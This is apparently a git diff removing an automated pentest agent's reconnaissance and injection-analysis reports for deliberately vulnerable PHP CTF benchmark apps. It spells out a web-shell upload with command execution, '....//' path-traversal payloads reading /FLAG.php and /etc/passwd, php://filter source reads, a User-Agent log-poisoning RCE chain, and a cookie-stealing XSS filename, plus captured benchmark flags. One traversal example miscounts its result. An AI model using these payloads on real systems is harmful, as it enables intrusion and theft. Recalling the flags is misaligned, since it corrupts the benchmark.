unrestricted | - -**Note:** This application has zero authorization guards, zero authentication requirements, and zero network access controls. All endpoints are publicly accessible without any security checks. - -## 7. Role & Privilege Architecture -**CRITICAL FINDING: NO ROLE OR PRIVILEGE ARCHITECTURE EXISTS** - -### 7.1 Discovered Roles -| Role Name | Privilege Level | Scope/Domain | Code Implementation | -|---|---|---|---| -| Anonymous Visitor | 0 (but unrestricted access) | Global | No role code exists - all visitors treated identically | - -**Note:** Only one implicit "role" exists. All visitors have identical, unrestricted access to all functionality including file upload and code execution. - -### 7.2 Privilege Lattice -``` -Privilege Ordering: NONE - Flat access model - -┌────────────────────────────────────────────┐ -│ ALL VISITORS (Anonymous) │ -│ Privilege: Unrestricted access to: │ -│ - File upload (RCE risk) │ -│ - File viewing │ -│ - File overwrite │ -│ - PHP code execution │ -└────────────────────────────────────────────┘ - -No hierarchy exists. No role switching possible. -``` - -### 7.3 Role Entry Points -| Role | Default Landing Page | Accessible Route Patterns | Authentication Method | -|---|---|---|---| -| Anonymous | `/` | `/*` (all routes) | NONE | - -### 7.4 Role-to-Code Mapping -| Role | Middleware/Guards | Permission Checks | Storage Location | -|---|---|---|---| -| Anonymous | NONE | NONE | N/A - no role storage exists | - -## 8. Authorization Vulnerability Candidates -**CRITICAL FINDING: NO AUTHORIZATION EXISTS TO TEST** - -Since this application has NO authentication or authorization mechanisms, traditional authorization testing is not applicable. However, the **complete absence of authorization is itself the critical vulnerability**. - -### 8.1 Horizontal Privilege Escalation Candidates -**FINDING: NO TRADITIONAL HORIZONTAL ESCALATION POSSIBLE** - -| Priority | Endpoint Pattern | Object ID Parameter | Data Type | Sensitivity | -|---|---|---|---|---| -| N/A | No user-to-user boundaries exist | N/A | N/A | All functionality is public | - -**Indirect IDOR:** -- **Pattern:** `/upload/{filename}` -- **Risk:** Medium - files accessible if filename is known/guessed -- **Note:** Not traditional horizontal escalation since there are no users - -### 8.2 Vertical Privilege Escalation Candidates -**FINDING: NO VERTICAL ESCALATION POSSIBLE** - -| Target Role | Endpoint Pattern | Functionality | Risk Level | -|---|---|---|---| -| N/A | No privileged roles exist | All functionality publicly accessible | N/A | - -**Key Insight:** Attackers START with maximum access (unrestricted file upload → RCE). There are no higher privilege levels to escalate to. - -### 8.3 Context-Based Authorization Candidates -**FINDING: NO CONTEXT-BASED AUTHORIZATION** - -| Workflow | Endpoint | Expected Prior State | Bypass Potential | -|---|---|---|---| -| N/A | No multi-step workflows | N/A | N/A | - -**Note:** File upload is a single-step operation with no workflow state validation. - -### 8.4 Primary Attack Path (Direct Access, No Authorization Bypass Needed) -``` -1. Attacker uploads shell.php containing: -2. Attacker accesses: http://localhost:44553/upload/shell.php?cmd=whoami -3. Result: Command execution as www-data user -4. Attacker retrieves flag: http://localhost:44553/upload/shell.php?cmd=printenv%20FLAG -5. Result: flag{dc97f359-f228-492b-b344-038f3d712a73} -``` - -**No authorization bypass techniques required** - immediate access to RCE. - -## 9. Injection Sources (Command Injection and SQL Injection) -**Network Surface Focus:** Only injection sources from network-accessible endpoints are reported. - -### Command Injection Sources -**FINDING: ZERO COMMAND INJECTION SOURCES** - -**Search Methodology:** -- Searched for: `exec()`, `shell_exec()`, `system()`, `passthru()`, `popen()`, `proc_open()`, backtick operator -- Result: NONE FOUND - -**Evidence:** -The application uses only native PHP file operations that do not invoke system shells: -- `move_uploaded_file()` (line 32) -- `fopen()`, `fgets()`, `fwrite()`, `fclose()` (lines 12-14, 33-35) -- `basename()` (line 31) -- `file_exists()` (line 11) - -**Conclusion:** The application does NOT execute shell commands. No command injection vectors exist. - -### SQL Injection Sources -**FINDING: ZERO SQL INJECTION SOURCES** - -**Search Methodology:** -- Searched for: `mysqli_query()`, `mysql_query()`, `pg_query()`, `PDO`, `SELECT`, `INSERT`, `UPDATE`, `DELETE` -- Result: NONE FOUND - -**Evidence:** -- No database connection code exists -- No SQL queries of any kind -- Docker configuration shows NO database service -- All data persistence uses flat file storage (`uploaded.txt`) - -**Conclusion:** The application does NOT use a database. No SQL injection vectors exist. - -### Other Injection Considerations -**File Upload RCE:** While not traditional command/SQL injection, the unrestricted PHP file upload enables remote code execution: -- **Source:** `$_FILES['userfile']` (lines 29-41) -- **Sink:** `move_uploaded_file()` storing PHP files in web-accessible directory -- **Exploitation:** Upload `shell.php` → Access `/upload/shell.php` → Arbitrary code execution - -**XSS (Not Injection, But Related):** -- **Source:** `$_FILES['userfile']['name']` (line 34) → `uploaded.txt` → `$filename` (line 13) -- **Sink:** `echo "` (line 15) -- **Type:** Stored XSS via unsanitized filename - -## 10. Additional Security Findings - -### 10.1 Technology Stack Vulnerabilities -- **PHP 7.1.33:** End-of-life since December 2019 (5+ years), multiple unpatched CVEs -- **Apache 2.4.38:** Known vulnerabilities (CVE-2019-10092, CVE-2019-10098) -- **Debian Buster:** End-of-life, using archived repositories - -### 10.2 Missing Security Controls -- ❌ NO authentication mechanisms -- ❌ NO authorization checks -- ❌ NO CSRF protection -- ❌ NO file type validation -- ❌ NO MIME type validation -- ❌ NO file size limits -- ❌ NO output encoding (XSS vulnerabilities) -- ❌ NO security headers (CSP, X-Frame-Options, etc.) -- ❌ NO rate limiting -- ❌ NO logging or audit trails -- ❌ NO TLS/HTTPS (port 80 only) - -### 10.3 Secrets Management -**CTF Flag Storage:** -- **Location:** Docker environment variable `FLAG=flag{dc97f359-f228-492b-b344-038f3d712a73}` -- **Retrieval:** Upload PHP shell → Execute `printenv FLAG` or `` -- **Risk:** CRITICAL - flag retrievable via RCE - -### 10.4 File Locations -**Critical Files:** -- **Application:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/php/challenge/index.php` -- **Apache Config:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/php/apache/000-default.conf` -- **Dockerfile:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/php/Dockerfile` -- **Flag Storage:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-041-24/.env` - -## 11. Recommended Testing Priorities - -### Priority 1: Remote Code Execution (CRITICAL) -1. Upload PHP web shell via POST to `/` -2. Access uploaded shell at `/upload/shell.php` -3. Execute commands to retrieve FLAG from environment - -### Priority 2: Stored XSS (HIGH) -1. Upload file with malicious filename: `test.jpg" onerror="alert(document.cookie)"` -2. Verify XSS triggers when viewing uploaded image - -### Priority 3: File Overwrite (MEDIUM) -1. Upload file named `uploaded.txt` to overwrite metadata file -2. Upload file with existing name to overwrite previous uploads - -### Priority 4: Denial of Service (LOW) -1. Upload large files to exhaust disk space -2. Rapid successive uploads to overload server - -## 12. Summary - -**Application Type:** Deliberately vulnerable PHP file upload application (CTF challenge) - -**Attack Surface:** -- 3 network-accessible endpoints (all public, no authentication) -- 1 critical input vector (file upload) -- 0 authorization controls -- 0 authentication mechanisms - -**Critical Vulnerabilities:** -1. **Remote Code Execution** - Unrestricted PHP file upload -2. **Stored XSS** - Unsanitized filename output -3. **No Access Control** - Complete absence of authentication/authorization -4. **Information Disclosure** - CTF flag in environment variables - -**Primary Attack Path:** -Upload PHP shell → Access via /upload/shell.php → Execute commands → Retrieve FLAG from environment - -**Complexity:** MINIMAL - No authentication bypass, no authorization bypass, no sophisticated exploitation required - -**Risk Level:** CRITICAL - Immediate remote code execution available to anonymous users \ No newline at end of file diff --git a/xben-benchmark-results/XBEN-079-24/deliverables/injection_exploitation_queue.json b/xben-benchmark-results/XBEN-079-24/deliverables/injection_exploitation_queue.json deleted file mode 100644 index 686be858..00000000 --- a/xben-benchmark-results/XBEN-079-24/deliverables/injection_exploitation_queue.json +++ /dev/null @@ -1,39 +0,0 @@ - -{ - "vulnerabilities": [ - { - "ID": "INJ-VULN-01", - "vulnerability_type": "LFI", - "externally_exploitable": true, - "source": "$_GET['id'] from post.php:4", - "combined_sources": "Single source: $_GET['id']", - "path": "User request → $_GET['id'] → post.php:4 → str_replace() filter:7 → concatenation:8 → include() sink:11", - "sink_call": "post.php:11 - include($file_to_include)", - "slot_type": "FILE-include", - "sanitization_observed": "str_replace(['../', './', '..\\\\', '.\\\\'], '', $post_id) at post.php:7 - single-pass filter (BYPASSABLE)", - "concat_occurrences": "post.php:8 - $file_to_include = $posts_path . $post_id; (concatenation occurs AFTER sanitization - sanitization ineffective due to bypass)", - "verdict": "vulnerable", - "mismatch_reason": "Single-pass str_replace() filter is bypassable via nested directory traversal sequences (....//). The sanitization removes inner ../ sequences, leaving valid ../ in the result. No whitelist validation ensures the final path stays within posts/ directory.", - "witness_payload": "....//....//....//FLAG.php", - "confidence": "high", - "notes": "The file_exists() check at line 10 does not prevent exploitation - it only prevents including non-existent files. FLAG.php exists at container root (/FLAG.php). The include() function will execute PHP code in the included file. Path calculation: from /var/www/html/posts/ to /FLAG.php requires 3 directory traversals up." - }, - { - "ID": "INJ-VULN-02", - "vulnerability_type": "LFI", - "externally_exploitable": true, - "source": "Combined: (1) User-Agent HTTP header logged to /var/log/apache2/access.log (Apache logging mechanism), (2) $_GET['id'] from post.php:4", - "combined_sources": "Primary: User-Agent header (injection point) → Apache access.log; Secondary: $_GET['id'] (LFI trigger). Attack requires both sources in sequence.", - "path": "Step 1: User-Agent header → Apache web server → Apache logging → /var/log/apache2/access.log (PHP code injected into log). Step 2: $_GET['id'] → post.php:4 → str_replace() filter:7 → concatenation:8 → include() sink:11 → executes PHP code from log file", - "sink_call": "post.php:11 - include($file_to_include) where $file_to_include resolves to /var/log/apache2/access.log containing injected PHP code", - "slot_type": "FILE-include", - "sanitization_observed": "Same as INJ-VULN-01: str_replace(['../', './', '..\\\\', '.\\\\'], '', $post_id) at post.php:7 - single-pass filter (BYPASSABLE). Apache performs NO sanitization on User-Agent header before logging.", - "concat_occurrences": "post.php:8 - $file_to_include = $posts_path . $post_id; (concatenation occurs AFTER sanitization - sanitization ineffective due to bypass)", - "verdict": "vulnerable", - "mismatch_reason": "Two-step attack chain: (1) Log poisoning - User-Agent header logged without sanitization to world-readable log file (chmod 0777 per Dockerfile:16), (2) LFI with bypassable filter includes the poisoned log. When log is included, PHP code executes, achieving RCE. Defense mismatch: no input sanitization on logged headers, bypassable path traversal filter, no open_basedir restriction, overly permissive log file permissions.", - "witness_payload": "Step 1: User-Agent: | Step 2: id=....//....//....//....//var/log/apache2/access.log&cmd=whoami", - "confidence": "high", - "notes": "RCE chain requires two HTTP requests in sequence: (1) Poison log with User-Agent header containing PHP code, (2) Trigger LFI to include poisoned log with command parameter. Log permissions are 0777 (Dockerfile:16), allowing PHP process (www-data) to read logs. Path calculation: from /var/www/html/posts/ to /var/log/apache2/access.log requires 4 directory traversals up then traversal to /var/log/apache2/. PHP configuration allows system() function (no disable_functions set). No open_basedir restriction allows accessing /var/log/. This escalates from information disclosure (CVSS 7.5) to Remote Code Execution (CVSS 9.8)." - } - ] -} \ No newline at end of file diff --git a/xben-benchmark-results/XBEN-079-24/deliverables/recon_deliverable.md b/xben-benchmark-results/XBEN-079-24/deliverables/recon_deliverable.md deleted file mode 100644 index 9c12f3e6..00000000 --- a/xben-benchmark-results/XBEN-079-24/deliverables/recon_deliverable.md +++ /dev/null @@ -1,638 +0,0 @@ -# Reconnaissance Deliverable: Encoder64 Blog - -## 0) HOW TO READ THIS -This reconnaissance report provides a comprehensive map of the Encoder64 Blog application's attack surface, structured for downstream vulnerability analysis specialists. - -**Key Findings at a Glance:** -- **Primary Attack Vector:** Local File Inclusion (LFI) in `/post.php?id=` parameter -- **Secondary Attack Vector:** Reflected XSS in contact form (3 input fields) -- **Authentication:** None - all endpoints publicly accessible -- **Authorization:** None - no access controls exist -- **Technology Stack:** PHP 7.4.33 on Apache 2.4.54 (Debian), stateless architecture - -**For Injection Analysis Specialist:** -- **Critical LFI Source:** See Section 9 - post.php:11 with bypassable path traversal filter -- **XSS Sources:** See Section 9 - contact.php lines 66, 71, 76 -- **No SQL/Command Injection:** Application uses flat-file storage, no database or shell commands - -**For Authorization Analysis Specialist:** -- **No Authorization System:** See Section 7 - completely absent, all endpoints public -- **No Roles/Privileges:** No authentication or authorization architecture exists -- **Section 8 Analysis:** Not applicable - no authorization to test - -**For SSRF Analysis Specialist:** -- **No SSRF Vectors:** Application uses local file operations only, no external HTTP requests -- Pre-recon analysis confirms `allow_url_include = Off` prevents URL-based file inclusion - -**Priority Testing Order:** -1. LFI exploitation in post.php (Section 9, Source #1) - path to FLAG.php -2. XSS exploitation in contact.php (Section 9, XSS sources) -3. Log poisoning chain (writable Apache logs + LFI = potential RCE) - -## 1. Executive Summary - -The Encoder64 Blog is a simple PHP 7.4-based blog application running on Apache 2.4.54 within a Docker container. The application serves as a CTF challenge environment with intentionally vulnerable code patterns. From an attack surface perspective, the application exposes 4 primary HTTP endpoints, all publicly accessible without authentication. - -**Core Technology Stack:** -- **Frontend:** Bootstrap 5.3.0 (CDN-hosted CSS/JS) -- **Backend:** PHP 7.4.33 (End-of-Life, no security patches) -- **Web Server:** Apache 2.4.54 on Debian 11 -- **Database:** None - flat-file JSON storage -- **Authentication:** None present - -**Primary Attack Vectors:** -1. **Local File Inclusion (CRITICAL)** - `/post.php?id=` parameter with bypassable path traversal filter enabling arbitrary file read including `/FLAG.php` -2. **Reflected XSS (HIGH)** - Contact form fields (`name`, `email`, `message`) reflected without sanitization -3. **Log Poisoning Chain (HIGH)** - World-writable Apache logs (0777) + LFI = potential RCE - -**Security Posture:** -The application demonstrates severe architectural security deficiencies including complete absence of authentication/authorization mechanisms, minimal input validation, and critical file inclusion vulnerabilities. The security model is appropriate for a CTF challenge but would be catastrophic for production deployment. - -**Target Objective (CTF Context):** -Extract flag from `/FLAG.php` using the LFI vulnerability in post.php by bypassing weak path traversal sanitization. - -## 2. Technology & Service Map - -### Frontend -- **Framework:** Bootstrap 5.3.0 (CSS/JS from cdn.jsdelivr.net) -- **JavaScript:** Vanilla JavaScript in sidebar.php for client-side visitor counter (fake data) -- **HTML5:** Standard semantic HTML -- **No SPA Framework:** No React/Vue/Angular -- **No WebSockets:** No real-time features - -### Backend -- **Language:** PHP 7.4.33 (Released Nov 2022, **End-of-Life**, no security updates) -- **Framework:** None - Vanilla PHP (no Laravel, Symfony, CodeIgniter) -- **Architecture:** Flat file structure, procedural programming style -- **Session Management:** None - completely stateless -- **API:** No formal API endpoints - traditional server-side rendering -- **Key Libraries:** None - no Composer dependencies - -### Infrastructure -- **Web Server:** Apache 2.4.54 (Debian) -- **Operating System:** Debian 11 (Bullseye) in Docker container -- **Containerization:** Docker with docker-compose orchestration -- **Hosting:** Localhost deployment on port 34461 (mapped from container port 80) -- **Database:** None - uses posts.json flat file for content metadata -- **CDN:** jsdelivr.net for Bootstrap assets -- **Reverse Proxy:** None detected (direct Apache access) - -### Identified Subdomains -From subfinder scan (likely false positives for localhost): -- sbs.allsaintsschool.localhost -- server02.counterintel.localhost -- mse-ca-mail.corp.mse.localhost -- mail02.regency.localhost -- exchvm.nwcnet.localhost -- autodiscover.regency.localhost -- server2.hunter.localhost -- mail.regency.localhost -- naeu2.naeuinc.localhost -- fndlync01.5ninesdata.localhost -- mail.localhost -- autodiscover.localhost -- mail03.regency.localhost -- www.localhost -- tools.sonoma.edu.localhost -- owa.regency.localhost - -**Note:** These subdomains are not relevant to the attack surface as the application is a single-host Docker container accessed via localhost:34461. - -### Open Ports & Services -From nmap scan: -- **Port 80 (HTTP)** - Caddy httpd (reverse proxy in front of application) -- **Port 443 (HTTPS)** - SSL/HTTPS (no certificate validation observed) -- **Port 631** - CUPS 2.3 (printing service, not application-related) -- **Port 8888** - SimpleHTTPServer with exposed .git directory (development artifact) -- **Port 9999** - tcpwrapped (unknown service) -- **Port 49152** - Golang net/http server (Tailscale, requires auth) - -**Primary Application Access:** http://localhost:34461 (mapped to container port 80) - -## 3. Authentication & Session Management Flow - -### Entry Points -**NONE - No authentication system exists** - -After comprehensive source code analysis, the application contains: -- ❌ No login endpoints -- ❌ No registration endpoints -- ❌ No password reset flows -- ❌ No OAuth/SSO integrations -- ❌ No API key mechanisms -- ❌ No session management - -### Mechanism -**NOT APPLICABLE - Authentication is completely absent** - -The application treats all HTTP requests as equally privileged with no user identity tracking: -- No `session_start()` calls in any PHP file -- No `$_SESSION` variable usage -- No cookies set by application (no `setcookie()` calls) -- No JWT/bearer token generation or validation -- No password hashing functions (`password_hash`, `password_verify`) -- No authentication-related files (no login.php, auth.php, etc.) - -### Code Pointers -**No authentication code exists in the codebase** - -Files analyzed: -- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/index.php` - Public blog listing -- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/post.php` - Public post viewer -- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/contact.php` - Public contact form -- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/about.php` - Public about page - -All endpoints are publicly accessible without any authentication checks. - -### 3.1 Role Assignment Process -**NOT APPLICABLE - No role system exists** - -- **Role Determination:** N/A -- **Default Role:** All visitors treated identically as anonymous users -- **Role Upgrade Path:** N/A -- **Code Implementation:** No role-related code exists - -### 3.2 Privilege Storage & Validation -**NOT APPLICABLE - No privilege system exists** - -- **Storage Location:** N/A -- **Validation Points:** No authorization checks anywhere in codebase -- **Cache/Session Persistence:** N/A - stateless architecture -- **Code Pointers:** No privilege validation code exists - -### 3.3 Role Switching & Impersonation -**NOT APPLICABLE - No user identity system exists** - -- **Impersonation Features:** None -- **Role Switching:** None -- **Audit Trail:** None -- **Code Implementation:** N/A - -## 4. API Endpoint Inventory - -All discovered network-accessible endpoints: - -| Method | Endpoint Path | Required Role | Object ID Parameters | Authorization Mechanism | Description & Code Pointer | -|--------|---------------|---------------|----------------------|-------------------------|----------------------------| -| GET | /index.php or / | anon | page (optional) | None | Blog listing with pagination. Reads posts.json, displays 5 posts per page. See `/app/website/index.php:3-78` | -| GET | /post.php | anon | id (required) | None | **VULNERABLE** - Blog post viewer with LFI. Dynamically includes PHP files from posts/ directory. Weak path traversal filter (bypassable). See `/app/website/post.php:4-11` | -| GET | /contact.php | anon | None | None | Contact form display (GET renders form). See `/app/website/contact.php:45-96` | -| POST | /contact.php | anon | name, email, message (POST body) | None | **VULNERABLE** - Contact form submission. Validates empty fields only, echoes input without encoding (XSS). Does NOT save/send data. See `/app/website/contact.php:7-33, 66, 71, 76` | -| GET | /about.php | anon | None | None | Static about page describing "Encoder64" character. See `/app/website/about.php:1-62` | - -**Key Observations:** -- All endpoints accept anonymous access (no authentication required) -- No admin endpoints discovered -- No API routes (no /api/* paths) -- Contact form does NOT persist data (no email sending, no database storage) -- post.php vulnerable to Local File Inclusion via ?id= parameter - -## 5. Potential Input Vectors for Vulnerability Analysis - -All network-accessible user input points with exact file locations: - -### URL Parameters (GET) -1. **page** - `/app/website/index.php:10` - - Purpose: Pagination control - - Validation: Type cast to integer `(int)$_GET['page']` - - Security: SECURE - integer casting prevents injection - -2. **id** - `/app/website/post.php:4` - - Purpose: Post filename for dynamic inclusion - - Validation: Weak blacklist - `str_replace(['../', './', '..\\', '.\\'], '', $post_id)` - - Security: **CRITICAL VULNERABILITY** - bypassable with `....//` encoding - - Sink: `include($file_to_include)` on line 11 - -### POST Body Fields -3. **name** - `/app/website/contact.php:12` - - Purpose: Contact form name field - - Validation: `trim()` only, checks if empty - - Security: **VULNERABLE** - reflected XSS, output line 66 without `htmlspecialchars()` - -4. **email** - `/app/website/contact.php:19` - - Purpose: Contact form email field - - Validation: `trim()` only, checks if empty (NO email format validation) - - Security: **VULNERABLE** - reflected XSS, output line 71 without `htmlspecialchars()` - -5. **message** - `/app/website/contact.php:26` - - Purpose: Contact form message field - - Validation: `trim()` only, checks if empty - - Security: **VULNERABLE** - reflected XSS, output line 76 without `htmlspecialchars()` - -### HTTP Headers -6. **User-Agent** (implicit) - Logged to Apache access.log - - Purpose: Standard HTTP header - - Validation: None - - Security: **POTENTIAL RISK** - logs are world-writable (chmod 0777), can be used for log poisoning + LFI chain - - Log location: `/var/log/apache2/access.log` - -### Cookie Values -**NONE** - Application does not read or set any cookies - -### Server Variables -7. **$_SERVER["PHP_SELF"]** - `/app/website/contact.php:63` - - Purpose: Form action URL - - Validation: `htmlspecialchars()` applied - - Security: SECURE - properly encoded - -### Additional Input Sources -8. **File Inclusion Path** - `/app/website/post.php:8` - - Computed from: `"posts/" . $post_id` - - Flows to: `include()` on line 11 - - Security: **CRITICAL** - user-controlled include statement - -## 6. Network & Interaction Map - -### 6.1 Entities - -| Title | Type | Zone | Tech | Data | Notes | -|-------|------|------|------|------|-------| -| ExternalUser | ExternAsset | Internet | Browser | Public | Any internet user accessing the blog | -| Encoder64Blog | Service | App | PHP 7.4/Apache 2.4 | PII (contact form), Public (blog content) | Main application container | -| Apache | Service | Edge | Apache 2.4.54 | Logs | Web server serving PHP application | -| posts.json | DataStore | App | JSON flat file | Public | Blog metadata storage | -| PostPHPFiles | DataStore | App | PHP files (7 files) | Public | Blog post content storage | -| FLAG.php | DataStore | App | PHP file | Secrets | CTF flag target file | -| AccessLogs | DataStore | App | Apache logs | Logs, PII | World-writable logs at /var/log/apache2/access.log | -| BootstrapCDN | ThirdParty | Internet | jsdelivr.net CDN | Public | CSS/JS assets | - -### 6.2 Entity Metadata - -| Title | Metadata | -|-------|----------| -| Encoder64Blog | Hosts: `http://localhost:34461`; Endpoints: `/index.php`, `/post.php`, `/contact.php`, `/about.php`; Auth: None; Dependencies: Apache, posts.json, PostPHPFiles; DocRoot: `/var/www/html/` | -| Apache | Version: `Apache 2.4.54 (Debian)`; Modules: `mod_rewrite`, `mod_php`; Logs: `/var/log/apache2/access.log` (0777), `/var/log/apache2/error.log`; Port: 80 (HTTP only, no HTTPS) | -| posts.json | Path: `/var/www/html/posts.json`; Format: JSON array; Size: 7 posts; Permissions: 644 (world-readable); Accessed-By: index.php via file_get_contents() | -| PostPHPFiles | Path: `/var/www/html/posts/*.php`; Count: 7 files; Permissions: 644; Accessed-By: post.php via include() (LFI vector) | -| FLAG.php | Path: `/FLAG.php` (container root, outside webroot); Format: ``; Permissions: Unknown; Target: LFI exploitation | -| AccessLogs | Path: `/var/log/apache2/access.log`; Permissions: **0777 (world-writable)** - CRITICAL; Format: Apache Combined Log Format; Risk: Log poisoning vector | -| BootstrapCDN | URL: `cdn.jsdelivr.net`; Assets: Bootstrap 5.3.0 CSS/JS; SRI: **NOT IMPLEMENTED** (missing integrity hashes); Risk: CDN compromise potential | - -### 6.3 Flows (Connections) - -| FROM → TO | Channel | Path/Port | Guards | Touches | -|-----------|---------|-----------|--------|---------| -| ExternalUser → Apache | HTTPS | :34461 → :80 | None | Public | -| ExternalUser → BootstrapCDN | HTTPS | :443 | None | Public | -| Apache → Encoder64Blog | PHP-FPM | Internal | None | Public, PII | -| Encoder64Blog → posts.json | File I/O | file_get_contents() | None | Public | -| Encoder64Blog → PostPHPFiles | File I/O | include() | path-filter:weak | Public | -| Encoder64Blog → FLAG.php | File I/O | include() (via LFI) | path-filter:bypassable | Secrets | -| Encoder64Blog → AccessLogs | File I/O | Apache logging | None | Logs, PII | - -### 6.4 Guards Directory - -| Guard Name | Category | Statement | -|------------|----------|-----------| -| None | Auth | No authentication exists in application | -| path-filter:weak | Input Validation | Single-pass str_replace() removing directory traversal sequences - BYPASSABLE with `....//` | -| path-filter:bypassable | Input Validation | Same as path-filter:weak - easily circumvented with double encoding | -| trim-only | Input Validation | Only whitespace trimming applied to contact form inputs - NO XSS protection | -| int-cast | Input Validation | Type casting to integer for pagination - SECURE against injection | -| htmlspecialchars | Output Encoding | Applied to posts.json data and PHP_SELF - SECURE against XSS | -| no-encoding | Output Encoding | Contact form reflects input without encoding - VULNERABLE to XSS | - -**Note:** The application has minimal security guards. Most endpoints operate without meaningful security controls. - -## 7. Role & Privilege Architecture - -### 7.1 Discovered Roles - -**NONE FOUND** - -After exhaustive source code analysis: -- No role definitions exist in code, comments, or variable names -- No role-related database fields (no database exists) -- No role-based constants or enumerations -- No authentication system to assign roles - -| Role Name | Privilege Level | Scope/Domain | Code Implementation | -|-----------|-----------------|--------------|---------------------| -| anon (implicit) | 0 | Global | All users treated as anonymous - no code distinction | - -### 7.2 Privilege Lattice - -**NOT APPLICABLE** - -No privilege hierarchy exists: -``` -All Users = Anonymous = Full Access to All Public Endpoints -``` - -No authentication system means no concept of: -- Authenticated vs. unauthenticated users -- Admin vs. regular users -- Owner vs. visitor -- Any privilege levels or escalation paths - -### 7.3 Role Entry Points - -| Role | Default Landing Page | Accessible Route Patterns | Authentication Method | -|------|---------------------|---------------------------|----------------------| -| anon | `/` or `/index.php` | All endpoints: `/`, `/index.php`, `/post.php`, `/contact.php`, `/about.php` | None | - -### 7.4 Role-to-Code Mapping - -**NOT APPLICABLE** - -No role-related code exists: -- No middleware or guards -- No permission checks -- No role storage (no sessions, database, or JWT claims) - -## 8. Authorization Vulnerability Candidates - -**NOT APPLICABLE - No Authorization System Exists** - -This section is typically used to identify privilege escalation and authorization bypass opportunities. However, the Encoder64 Blog application has **zero authorization controls**: - -- ❌ No authentication mechanism -- ❌ No session management -- ❌ No role-based access control -- ❌ No permission checks -- ❌ No protected endpoints - -**Security Implication:** -The complete absence of authorization is itself the primary security issue. All functionality and content is publicly accessible without any access controls. - -### 8.1 Horizontal Privilege Escalation Candidates -**NOT APPLICABLE** - No user identity or ownership concepts exist - -### 8.2 Vertical Privilege Escalation Candidates -**NOT APPLICABLE** - No privilege levels exist to escalate between - -### 8.3 Context-Based Authorization Candidates -**NOT APPLICABLE** - No multi-step workflows or context-sensitive operations - -**Note for Authorization Analysis Specialist:** -No authorization testing is required for this application. Focus should shift to other vulnerability types (LFI, XSS) documented in Section 9. - -## 9. Injection Sources - -### Command Injection -**NONE FOUND** - -- No command execution functions in codebase -- Searched for: `exec()`, `system()`, `shell_exec()`, `passthru()`, `proc_open()`, `popen()`, backticks -- Application uses only file I/O operations, no shell commands - -### SQL Injection -**NONE FOUND** - -- No database connections (no mysqli, PDO, or legacy mysql_* functions) -- Application uses flat-file JSON storage (posts.json) -- No SQL queries anywhere in codebase - -### Local File Inclusion (LFI) - **CRITICAL** - -#### SOURCE #1: post.php Dynamic File Inclusion - -**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/post.php:11` - -**Severity:** **CRITICAL** - -**Complete Data Flow:** -``` -USER INPUT: $_GET['id'] from URL (e.g., /post.php?id=ScriptKiddie.php) - ↓ -Line 4: $post_id = $_GET['id']; - ↓ -Line 5: $posts_path = "posts/"; - ↓ -Line 7: $post_id = str_replace(['../', './', '..\\', '.\\'], '', $post_id); - ↓ [WEAK FILTER - SINGLE PASS REPLACEMENT] -Line 8: $file_to_include = $posts_path . $post_id; - ↓ -Line 10: if (file_exists($file_to_include)) { - ↓ -Line 11: include($file_to_include); [DANGEROUS SINK] - ↓ -Lines 22, 34, 37: Output variables from included file (with htmlspecialchars) -Line 51: Output $post_content (WITHOUT htmlspecialchars) [SECONDARY XSS RISK] -``` - -**Validation Present:** -```php -$post_id = str_replace(['../', './', '..\\', '.\\'], '', $post_id); -``` - -**Why It's Bypassable:** -The `str_replace()` function performs a **single-pass replacement**. Nested directory traversal sequences bypass the filter: - -**Bypass Technique:** -``` -Input: ....//....//....//....//FLAG.php -After str_replace: ../../FLAG.php -Final path: posts/../../FLAG.php → /FLAG.php -``` - -**Exploitation Vectors:** - -1. **Read FLAG.php (Primary CTF Objective):** - ``` - GET /post.php?id=....//....//FLAG.php - ``` - -2. **Read Apache access logs (Log Poisoning Chain):** - ``` - GET /post.php?id=....//....//....//....//var/log/apache2/access.log - ``` - -3. **Read system files:** - ``` - GET /post.php?id=....//....//....//....//etc/passwd - ``` - -4. **PHP Wrapper Exploitation:** - ``` - GET /post.php?id=....//....//php://filter/convert.base64-encode/resource=index.php - ``` - -**Impact:** -- Read arbitrary files on server -- Potential Remote Code Execution via log poisoning (User-Agent injection + LFI) -- Information disclosure of configuration files, source code, system files -- Access to FLAG.php containing CTF flag - -**Code Context:** -```php -// post.php lines 4-11 -$post_id = $_GET['id']; -$posts_path = "posts/"; -// Remove any attempts to include directories -$post_id = str_replace(['../', './', '..\\', '.\\'], '', $post_id); -$file_to_include = $posts_path . $post_id; - -if (file_exists($file_to_include)) { - include($file_to_include); -} -``` - -### Path Traversal -**Same as LFI SOURCE #1** - The path traversal vulnerability is exploited through the file inclusion mechanism documented above. - -### Server-Side Template Injection (SSTI) -**NONE FOUND** - -- No template engines (Smarty, Twig, Blade) in use -- No `eval()`, `assert()`, or `create_function()` functions -- Application uses simple PHP echo statements - -### Deserialization -**NONE FOUND** - -- No `unserialize()` calls in codebase -- `json_decode()` used only on trusted static file (posts.json), not user input -- No YAML parsing or other deserialization functions - -### Cross-Site Scripting (XSS) - **HIGH** - -#### SOURCE #2: Contact Form Name Field - -**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/contact.php:66` - -**Severity:** **HIGH** - -**Data Flow:** -``` -USER INPUT: $_POST['name'] - ↓ -Line 9: Check if empty(trim($_POST["name"])) -Line 12: $name = trim($_POST["name"]); - ↓ [ONLY WHITESPACE TRIMMING - NO XSS PROTECTION] -Line 66: - ↓ [NO htmlspecialchars() ENCODING] -OUTPUT: Reflected XSS in HTML attribute context -``` - -**Exploitation:** -``` -POST /contact.php -name="> -``` - -#### SOURCE #3: Contact Form Email Field - -**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-079-24/app/website/contact.php:71` - -**Severity:** **HIGH** - -**Data Flow:** -``` -USER INPUT: $_POST['email'] - ↓ -Line 16: Check if empty(trim($_POST["email"])) -Line 19: $email = trim($_POST["email"]); - ↓ [ONLY WHITESPACE TRIMMING - NO EMAIL VALIDATION] -Line 